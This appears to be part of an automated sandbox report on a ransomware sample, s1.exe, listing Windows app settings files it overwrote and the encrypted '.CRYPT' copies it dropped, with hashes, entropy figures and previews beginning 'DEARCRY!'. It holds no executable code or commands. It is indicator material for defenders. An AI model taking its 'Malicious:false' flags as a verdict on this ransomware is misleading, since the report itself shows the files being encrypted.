                                                              Preview: DEARCRY!....M1..d...%...Hb....J...F.24.](]6..6..yu.+....N..E...D%(.I..J..[.n..K........d...Z.5Mf.T.-G........x...4.{..0.%.0t;...tv........)@I.+..[.c.N...Ff.PK.8.>=@.7.='.M.>.5...>..).V....\.8......L......J]l.{CY......}.{rp'TUs..#.c.1...Ts...O.H.D..;yw.g.=.o.I.g................v...a.U..Aa.M....KH0(...MCXv.l.SR..G.1....v."0...)`..L~...~rU.fA+..I.~cHX.y?z.T.."...v.....S..Q.P.-.......xe~:....gH...(..R.9........?.l..d....4.m.1.j....:=.T...HBN...n....$.f_.S"/(Bx.0.a|..q...E...p...f}W....o9`..,.+;.....i.o.GO45R.)@G.....ac.mG...R..XDL..r.....Y..QE..-8(S.{n.......{..]V...$..F.H.2.....o..:%..Z.].P.A....,%.04$...=....1J_.?...KAX.w.Qx.:J...7H....:>...?:..ql..g1y!v...KZY.....;zsPI;bC.)50|.......C.y..o.)..U.r!!|.:..........9^...i.\..0.j.O59O.....%.T..r...$..GG...a.....W....#.....u...q..(T.~...VKd....Q..............*H...&..=..|z:[L+J....x.~..n....&c.....Y...(..b...X..W.U...f.N p..5.Wl...Jb .....G|> 2....../c...Gp....W..U.z1.s).xI=.x..t..~|.J.DW!I.g..G..4.EdV.d....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.989422356955418
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:430030EFD01A73A515645AD3364543C3
                                                              SHA1:C2D3C5F5D1E0C47C931D04BCEC5478AADA2E0540
                                                              SHA-256:F5C0C47ED64198D8B26E49CEF6525D93AC655698B47CBCE9F916BC32E9B4CFFE
                                                              SHA-512:992E079EA693945C82132C7238FDB1058DD609B9E30178B3783430167D0A0683D1C5E3307DCFCAB296BDF3B12D9B4F7E22C7B99E72E1B35D55CE2033A8009D44
                                                              Malicious:false
                                                              Preview: DEARCRY!....D.S..Y..%..}.....cj...n..[Y....<D....t.. T;..`H.z.H...W[.w.A.(%..IW..f.........d+.gh,L....(.K.....1...W:i........].yw...(.?...G.v;...&.T..}h.;v..C(.t-.DQ...+y2...+..n..)hHCL......E.!Y.6.\.^.'.re8...Q0..C........(.CM.....1gY......:2.V.a~.$xMe..$..... ..........i&u..o..C?..v.G9|..5C[..c$......%.SC>.D Q(>L>.d....L=....6v.....d.J.>.1Y;.Q.PD.w......Ol...g.V.3..x..ZF.m..s.....-......Dw>a.......u.EU#.&L5.ee..E Rk.&..]a\...tX. 3...B..%.aF.........|..$Q..{{...*9+=..D.z..-.p)i...X...%..&-..6[.$.X.l.*rI.TZ.5:..x}.Q...NjY.C...S.W?w.....OC.....\.>.f....V...D.[.~&.(.z.....]..K.-*...7,1<....0.<.z...l.g..[....,!:.7.t......>...E.9..uai.......f.o..UMO.F..to.TINWD "..?..-...d...>..>..... Q._.;6-....R..^..GDY.v].G.yg)o.8....=....g.)y1.q..t...x.6XQ8-.v..........^I.IE.D..5C....8....c8..1.....?..0.:d..y.+.?^`.+..O....`m.}y..SA..P.l....-_./*A.........}..........k.....jG`."....... 6.X.z......6..t}..v...;.Ep..!.b5<..X..pp..,.....$u.1WB.....PF..Y.>..I.H..0y`
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976182324413432
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E423A77EE00369E8F554D71F3D2F3543
                                                              SHA1:9B87BB5F56B9730FAEF18C1ACC2559DE7268C4B4
                                                              SHA-256:0DA58D7E1F504F8FDA186CEB1EFB383F4137CA5552377922488492B3E19E9C3B
                                                              SHA-512:15182D0D709FE3FFF7DB793791DD507AB9E4AF762FF3F40B08A75AD8F6C0BC47EE2285DE68388861419ABE9F09F40F2C2C11A7A10275255A8AEE8A026D62DC62
                                                              Malicious:false
                                                              Preview: DEARCRY!.....U.....>.O.Kvs..X..g.l.oMa.]..g...QJ..h...7.`...z..hJ..E..nQ;.......7q..."...P........tz-.+.thY.y.(.5V7..F.0.U._7..0.......J.D.....k.%\..X...lm.j...][......9...R...l@.N.........!...K}o9i..'.m{.ob2....:.r..7H.f:....) .[NV..S$...zaQ..%.%'....... ..........O...+...L..k.L..6..z....~&B.G~.v;H.6...yT....#.](....;...,..[\..7..U.5L.].sS.....X.......S.K6wN......-........%..%..m..).....Y.>}[\..D.95\....jI2x."{C..MP.bX....q.).U]=.u.)/zXA.....l..c.*g..!s.....G...h.$.......x....,77..b.....WG..p._........tE.nXN&.a..{..Y..c.Y....Q\f._ ...d6....u..v...W7vf....W.k.I..>.X.).i,m..z..u.I.z......6c5.-Z..@..X.N...xp.~d..L............hM..........@.$....a....)..p|P.j|.u...x.cNM...k..F......|..7..O..K.<*...b.V<.b.[.I...Ex......<.Sq...7p..."R....\#....>..L.*mY..zT.W.4...*S.A...=.. ...D7. ..h....I..{..`......K.Ca.......N.9..Gw@.PK..xQ.VNA....o....h.f..h8@V2Hd...F..N...Ir1........n..i7....bV..P,Y..D4J..@....X..-nD"./..@r...un.OD).._1'..=s[..z.t...\
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988799789105631
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:035AE05F508A1AA49BA8C331B65A0964
                                                              SHA1:21EDD660EAD797D6E853E32187F1113F61CC277C
                                                              SHA-256:2DA8F355DA6BEA1A19D7E43DBE89C89D4319F91E07ABE52849CFC8945568E0A2
                                                              SHA-512:D640D3093B24339C4C9764E7FBBEE356B9DAA20ABB6E6A7D0BB088D19A25D89B2DB40D0FCF440F86EC2BD186CA1E50BF0E9BFD464F454B08215F52554851A86A
                                                              Malicious:false
                                                              Preview: DEARCRY!......Mm.0.....l+..C...\...g.32....lD.l...f.........Z....<"*.U.{~.#.......V..np.........<.+Dx.p. .fd.;T....`y..z.....`..._}f:.K.rm.=.i.c...+R... ?V....:.....x.;..o.....Gw..l......!...~..'K;...iz ..RP.#.~..k..D.Lz.,....rl...w":.#..,2..Ta.....).s..a.f...... .........K..V.Ok*gd..s.".{.............@...p.x.m....d}.Q.{#]l=7.... ....`or..R.....W......mC...3...t.....p....`"J........z..^-..%....2.0..X..@.....?.2o.._.r<.GO..#.)..JN..d.t...'E....~...p.....S..x].>.%.... .\s..:.4..3.H`..Xqe..C.|.EF.m..1K.tkR..C.....#......cy....+...0...L6.q.mY=#.@..].}g....8;Sk.n..\yX/e.}..H7Yj.........p..Q..p.=.m...j..._.L.%.d.>.... .fz.S[.....A.|/..!..s....\.Z.CW.....`.....S.o....)f.....D.?..IG. 4.....Dj.yL.1.I.,...........ox.....).W8...=>..L..U.U.0..H!.s.N.@...........{....7...g.c.KJ..Y..1L....8;....;..T...*...EB..C.l0..L.s m.~j;........o..S..............X*#..~..Y...%.....~.X..K...Ba.....z.bg..,..b.Z.... ...WU....M.......DH.^...Qf?Z../.+..c..._.F.1s...Y...%.....w.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.977561828581413
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:24864B8C3D5EAEF88EDEC5694E18B8E4
                                                              SHA1:997C6A1216169965661F9A3C0A08A1EDC8D8D1C7
                                                              SHA-256:A3B6AA18331B0606EAF49DC6EBF9718C3C42885EFDADDCF761F17F8FC19731C2
                                                              SHA-512:C77E58A6297DD09224689F87B4C22235BBE3B228EB85BC779B1CCAB893CDC6FF44E4B86E3D77E951B1100096F71FD498EA886B7E036B59A89864066FE6229361
                                                              Malicious:false
                                                              Preview: DEARCRY!.....uD..h*....v..Kl..n.$.....$..,...........1.~!K!.P..,2.L...q....2XU.d..V..k......1sx.....?t...db....b...5.....9W=...,bsm../.y...@.@.......).=...3<...........0.sfn..aB..?.I../G...U.s...q..Ab.3`!.5....\..Y.P...G'.}......Z.~....../.@s.o[W...l#&.eS.)..... .............m..s.....S...e..$h...eD../..!.hc..o.N.{.V .~....+.........F.K;.-.i..5..P.]....j.S..M..\.^.W..m..d...Z....F.)j..)...+.'.J*.\........2..?.^.....F.z.....E.. n........CrVbT-.....W=.2......f.~.."..TQ;.KQ.+..5..E.s..F....T..0.zgF.+.Jm....[.?e.1?|.....ee%).=.l._.E.H...E.Ax#Ad.X...t.~%.*0..f^...AU....b:.4;V.[T].m..w;.q..?(.D<...;..%...?.U..E/....-~_&.u]..<UV.....X3..|A...%...;6.%i..W.......j:.C..T=`.?.mW....Z.J...T.....-.p.n.#.8..t..y...$!..*..C.o..E.........Ua.:~.......G.....U#."A..O.N..7...>..U,.xG74.9.>...J.2.Tf....HB .HE..f ....9*A....b...h..6.[Ed._.S.{..e... .Z..'..V.....4...c<...b..".....I.4,...z..Nd.f..(.yMdYr....{^....g..6.S.........{.2.$4eL.._.N.....:.7...O..t$....B....:...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.9894164150503375
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0A0092F6CB4A39D8142E5EBA05E9A457
                                                              SHA1:E5B476ADF856A4AFB0499BF66B4D458EB82DC099
                                                              SHA-256:C1063AF3B5093B4440791873AA2F679C50A08185F40E5E11F49615932DB8E411
                                                              SHA-512:A1DB82138E21DD1C71357A291C68FD40E303B6A1AD0D67E2C4B4ACC22BFCECC01B89E2AC5E5208F9095043B33BF7FF8EFACEAE0A8CFA3683B4E9630A793065ED
                                                              Malicious:false
                                                              Preview: DEARCRY!.... .....V..]......E.\.[K.. .pL.D....}I.J."..O....i.j..q.u....T..'Wwf.&D^..._%...1.\v=.7d.8.Jc..s....cg....z.B._.0M.\...V.............xbW.o.=JA156..0q.m...uk...*.Xwu.C..dd...S..,i...5;#....0.p.F.$.Q...'.8w......dnI.A;f...i........*e.t..z.].;...(V....... ..........q..j{<U....I.Hw...Mp.5p.o.o.v.j.t.g.8...O..N.3.d......~..q.,...=..3.........d .AhM..$..H...l`.Q."...bC!.q.&.y...!.5.......~... ..?.0.M".F.)..38.P..I..2~..........F..qk..W0v%.NV....E.=3.`.. \I.ga.3...l.i..R.1F..7..k|[.=8..`.*9..R.d.5...6....H1p.3`...z....!..@.7..O.@I....I..."=........&.r4......*..0....`....y>V.`)..\...i.c4.......1........8..*@JpM....(Bl<w.."F..E...e`P......r.K...s..o.).....4...AJx. 6W..[..UL....h.....;G...Me......0....HL.+l..>U...iZ...X....{V.u.....Ae%....~.8......&.a..].).......t.......`5H..h../.=H.ZV.@}.3C..>}v......#.Q*EW.....'B...~...R...].&...6...".l.3.5>...B.0.Z.....T).8.l..r.x'..f.....4...^..(`h|b2..?(..... 5'...:3N......N\..3.K!....-F...S}...dn....bOF.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\AC\INetCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):592
                                                              Entropy (8bit):7.528980435118468
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DB098552AA860FDB26FF4E14E13C4B00
                                                              SHA1:67D30C8E1E88A90D5677C61DF019855C6578028F
                                                              SHA-256:746BEC809FE1D35F72F654460ADD5FE7B2530F82C32AF21EE76955B63A7B8AE7
                                                              SHA-512:292A8BB68156E15F410931E40067BEB8C6C0608E3C039288FEEC639AFD1D630EAB0E759AE038948CF1F1D9D7515E62D0856336BDA12E2437D51B1D22E5680B5E
                                                              Malicious:false
                                                              Preview: DEARCRY!....&.&'...T....r..g..O.v.$a.X$.p......B...C.mb......D.....N..\......F...X./......pq.n..*6..,...=...r.{+...yQ.A._...'...}g.......0.(ry.o......&F.i.d-.l..]p..%F.....~h.8.#.L..K=...h.fq,..,.....T&.A.7c.U..-..... .0.}#....K.q1..Y...e{.n..S.F............j..............IH....9O{).....DEARCRY!.....#.q.o..L#.2{.-m..wy..'zYk.5ISI.+D....0<.P..:x...Y.....u.....#.........^0..]..u.C..HC.... .i{..Y....'... .m...:.;_....4.....:wpqKo..h..?P. ./..d..b..R.I<I.lAH......#.Q.o.E........mb.....B..........aP.,...1.D8..E...Rp4.K*...V......dZ.^.gZ.0%Y............-,R4.w..#I..|...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\AC\INetCookies\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.170196609206809
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7F6EFC7D3944DBC759384BF4A483CEE4
                                                              SHA1:074E730829561241BC928DB2627D4C227A42DE19
                                                              SHA-256:418D6501011D4588246DA204F40E574E57A93E9882C00687B277093214A17D4F
                                                              SHA-512:49CF4CD41EEE0E4C9E40A19A7F0204C64E13258A9921D3A8BF6282833011C5FA5D7B0B67EFF4FAE57C1132D9C971F88DC18C2DC173F419F540BD1FF00BBCFFFB
                                                              Malicious:false
                                                              Preview: DEARCRY!......n..i..k.T...|.;_l..4..........+...k.....3g... .'...=.?..z".....6..5..f...k.. ...|........?:......!...1...}.(#8.<,..HiR....~..Ni%3....J...~.Q. !tad._~..d9..`.G.c85..........R...R.1....nK....'...8...%.Gh...Q......dIU....e....b.I"w...]>.............0.....]%.0.Gk...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
